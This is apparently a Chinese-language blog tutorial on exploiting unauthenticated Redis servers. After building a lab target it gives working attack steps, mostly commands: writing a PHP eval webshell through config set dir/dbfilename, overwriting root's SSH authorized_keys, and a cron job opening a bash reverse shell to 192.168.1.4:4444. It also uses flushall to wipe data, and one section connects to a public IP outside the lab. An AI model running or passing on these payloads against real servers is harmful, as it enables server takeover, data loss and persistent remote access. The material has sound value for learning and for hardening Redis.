一. 应用介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
二. 漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
三. 测试环境说明
测试对象环境 | 对应IP |
---|---|
受害者(ubuntu 16.04) | 192.168.5.135 |
攻击者(kali) | 192.168.5.125 |
Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露
漏洞利用:核心就是进行写文件操作
可以获取敏感信息,操作数据库,SSH远程登录,写入webshell
建议用centos
四 .环境搭建
ubuntu16.04 安装redis
sudo apt-get update
sudo apt-get install redis-server
![](https://img2018.cnblogs.com/blog/1884700/202001/1884700-20200123160404334-711095053.png)
查看redis是否启动,启动redis客户端,此时已经启动了,
```markup
redis-cli
启动redis
redis-server
如果是用apt-get或者yum install安装的redis,可以直接通过下面的命令停止/启动/重启redis
/etc/init.d/redis-server stop
/etc/init.d/redis-server start
/etc/init.d/redis-server restart
如果是通过源码安装的redis,则可以通过redis的客户端程序redis-cli的shutdown命令来重启redis
1.redis关闭
redis-cli -h 127.0.0.1 -p 6379 shutdown
2.redis启动
redis-server
如果上述方式都没有成功停止redis,则可以使用终极武器 kill -9
修改配置文件redis.conf
vim /etc/redis/redis.conf
正常配置时,需要将daemoize 设置为yes(守护进程)
区别
yes:当redis.conf中选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。
no:当前界面将进入redis的命令行界面,exit强制退出或者关闭连接工具(putty,xshell等)都会导致redis进程退出。
redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379。这里需要将它注释掉。
版本较高的redis 还需要将 protected-mode设为no
redis3.2版本后新增protected-mode配置,默认是yes,即开启。设置外部网络连接redis服务,设置方式如下:
1、关闭protected-mode模式,此时外部网络可以直接访问
2、开启protected-mode保护模式,需配置bind ip或者设置访问密码
此时我们的靶机环境已经搭建完毕,测试(默认无密码)
五 .攻击利用
Redis默认使用6379端口,使用nmap对服务器进行扫描
Nmap -A -p 6379 –script redis-info 192.168.5.135
kali安装redis
下载
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解压
tar xzf redis-5.0.7.tar.gz
会在当前目录下生成文件夹 redis-5.0.4
cd redis-5.0.7
make
编译完成,进入下级目录src,启动redis客户端 远程连接靶机(默认无密码)
cd /src
./redis-cli -h 192.168.5.135
!!!此时已经未授权访问到靶机的redis 通过 info 查看信息
redis数据库的一些基本操作
info #查看redis的信息和服务器信息
flushall 删除所有数据
del key 删除键为key的数据
get key 获得参数key的数据
写入一句话木马
写入一句话木马需要我们知道网站的根目录相对于服务器的绝对路径。靶机在 /var/www/html/dedecms/uploads 这个目录下。
执行下列命令
redis-cli -h 192.168.5.135
set one "\\n\\n\\n<?php @eval($_POST[\'c\']);?>\\n\\n\\n"
config set dir /var/www/html/dedecms/uploads
config set dbfilename webshell.php
save
由于我的靶机上没网站,所以这里就贴个别人的图片记录一下
然后用菜刀连接
可以看到,已经连接成功了!
1.写入ssh公钥,获取操作系统权限
将hacker的公钥 追加 写入 redis服务器的 /root/.ssh 文件夹下的authotrized_keys文件中,即hacker主机 直接登录 该服务器。
"公钥登录" 原理很简单,就是用户将自己的公钥储存在远程主机上。
登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:
首先在自己的电脑上生成key:
ssk-keygen
将公钥导入key.txt文件(前后用\\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e "\\n\\n"; cat id_rsa.pub; echo -e "\\n\\n") > key.txt
config set dir /root/.ssh/
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的
六.总结
利用redis-cli 连接 该服务器
redis-cli -h 173.239.46.188
# 删除所有数据库以及key!!((保证写入的数据不掺杂其他数据)慎用 !!
flushall
# 把公钥文件gy (通过redis自身方法) 写入 服务器的内存 返回OK
cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit
# 利用redis查看当前目录
192.168.5.135> config get dir
1) "dir"
2) "/var/spool/cron"
# 进入目录 设置保存路径 /Users/用户名/.ssh 可能OK 也可能非root用户权限不足(error) ERR Changing directory: Permission denied
192.168.5.135:6379> config set dir /root/.ssh/
# 设置数据库名
192.168.5.135:6379> config set dbfilename "authorized_keys"
OK
# 保存数据库的内容到/root/.ssh/authorized_keys 会覆盖之前的!! 会导致之前设置的所有ssh免登录失效!!!
192.168.5.135:6379> save
OK
#-------------------------------------------------
# 通过自己本机的私钥登陆服务器
ssh -i id_rsa root@192.168.5.135
2.centos定时反弹shell,(ubuntu可能不行)
我们可以将 linux 反弹 shell 的命令写入定时任务中,这样,我们就可以接收到redis服务器反弹过来的shell了
redis-cli -h 192.168.1.8
set test "\\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\\n" #意思是每隔一分钟,向192.168.1.4的4444端口反弹shell
config set dir /var/spool/cron #设置工作目录
(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目录权限为700,且为root创建
即使该普通用户具有sudo权限也不行
config set dbfilename "root" #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save
#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下